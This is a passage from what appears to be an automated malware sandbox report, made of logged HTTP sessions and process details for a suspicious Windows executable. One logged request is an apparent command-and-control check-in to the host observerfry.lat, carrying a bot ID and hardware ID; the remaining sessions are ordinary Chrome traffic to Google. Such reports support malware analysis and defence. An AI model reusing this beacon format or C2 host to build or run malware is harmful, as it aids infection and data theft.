2024-12-24 11:39:25 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-24 11:39:25 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=20C60AD8767D4A55BEBA0C6A975F1733
2024-12-24 11:39:25 UTC	1117	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sjq5qhnup03851spqprjgimhkf; expires=Sat, 19 Apr 2025 05:26:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5IXNlzGuBK3LJD1pJrZ2I734iImpwFrMwoGbusZAwDtx4hjuga0IZOwK0Dd4JQ0MS1nrvVCFY3ki3AfotOLaahroLVKQ9fEWszV9WPL6lwTMFOfY7CkKuyr8dJS94jKF3BE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f8c2de24238-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1677&rtt_var=645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1677197&cwnd=244&unsent_bytes=0&cid=37424f646abb6d7a&ts=801&x=0"
2024-12-24 11:39:25 UTC	214	IN	Data Raw: 64 30 0d 0a 75 64 71 57 71 6f 39 5a 70 6e 4a 65 58 79 34 49 43 59 4c 4c 36 67 73 6b 44 76 4b 39 61 38 38 58 69 73 34 53 61 45 53 56 43 66 4c 69 6f 62 54 66 72 57 4f 45 47 69 6f 72 58 6a 4a 56 72 5a 66 46 4f 68 77 37 33 49 39 61 2b 6a 6d 37 2f 79 46 47 64 61 4e 56 33 64 61 38 38 50 61 67 50 63 4d 55 63 44 70 57 62 53 75 75 36 59 78 2f 42 6a 54 43 6b 55 6d 71 4e 62 44 2b 62 30 51 2f 74 33 7a 51 67 2f 6a 2b 33 76 73 70 6e 43 35 78 41 77 45 35 4d 62 66 6c 32 44 6f 52 49 4d 4f 4d 57 4f 45 6d 76 4a 49 39 47 7a 44 77 61 4a 2f 6c 39 65 54 4c 34 54 33 4a 48 33 41 36 56 6d 30 72 72 75 6d 4d 66 77 59 30 77 70 46 4a 71 6a 57 77 2f 6d 38 31 0d 0a Data Ascii: d0udqWqo9ZpnJeXy4ICYLL6gskDvK9a88Xis4SaESVCfLiobTfrWOEGiorXjJVrZfFOhw73I9a+jm7/yFGdaNV3da88PagPcMUcDpWbSuu6Yx/BjTCkUmqNbD+b0Q/t3zQg/j+3vspnC5xAwE5Mbfl2DoRIMOMWOEmvJI9GzDwaJ/l9eTL4T3JH3A6Vm0rrumMfwY0wpFJqjWw/m81
2024-12-24 11:39:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49796	142.250.181.68	443	5884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:57 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 11:39:57 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:57 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-NYxqSjZfiQysGumEG7MuWw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 11:39:57 UTC	124	IN	Data Raw: 33 34 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 70 70 65 61 6c 73 20 63 6f 75 72 74 20 72 65 69 6e 73 74 61 74 65 73 20 62 6f 69 22 2c 22 6d 65 72 72 79 20 63 68 72 69 73 74 6d 61 73 20 67 72 65 65 74 69 6e 67 73 20 71 75 6f 74 65 73 22 2c 22 63 68 72 69 73 74 6d 61 73 20 62 72 65 61 6b 66 61 73 74 20 63 61 73 73 65 72 6f 6c 65 20 72 65 63 69 70 65 73 22 2c 22 75 74 Data Ascii: 34f)]}'["",["appeals court reinstates boi","merry christmas greetings quotes","christmas breakfast casserole recipes","ut
2024-12-24 11:39:57 UTC	730	IN	Data Raw: 61 68 20 6a 61 7a 7a 20 76 73 20 63 6c 65 76 65 6c 61 6e 64 20 63 61 76 61 6c 69 65 72 73 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 6e 65 77 73 22 2c 22 6e 6f 72 61 64 20 73 61 6e 74 61 20 74 72 61 63 6b 65 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 Data Ascii: ah jazz vs cleveland cavaliers","rockstar games gta 6 release date","weather forecast snow storm","ripple xrp news","norad santa tracker"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmR
2024-12-24 11:39:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49797	142.250.181.68	443	5884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:57 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49798	142.250.181.68	443	5884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:57 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 11:39:57 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 11:39:57 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 11:39:57 UTC	372	IN	Data Raw: 31 33 39 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1394)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-24 11:39:57 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-24 11:39:57 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-24 11:39:57 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-24 11:39:57 UTC	478	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-24 11:39:57 UTC	947	IN	Data Raw: 33 61 63 0d 0a 61 79 3a 6e 6f 6e 65 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 Data Ascii: 3acay:none \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e
2024-12-24 11:39:58 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 35 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f Data Ascii: 8000bar_height":60,"experiment_id":[3700265,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_
2024-12-24 11:39:58 UTC	1390	IN	Data Raw: 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 Data Ascii: 003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor(a){this.i\u003da}toString()
2024-12-24 11:39:58 UTC	1390	IN	Data Raw: 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c Data Ascii: _.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\
2024-12-24 11:39:58 UTC	1390	IN	Data Raw: 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c Data Ascii: \"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49800	142.250.181.68	443	5884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:57 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 11:39:58 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 11:39:57 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 11:39:58 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-24 11:39:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:39:02
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\iUKUR1nUyD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\iUKUR1nUyD.exe"
Imagebase:	0x780000
File size:	1'929'216 bytes
MD5 hash:	CA7C431ABAC02CFB1B6B43ED9B3457E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:39:31
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe
Wow64 process (32bit):	true
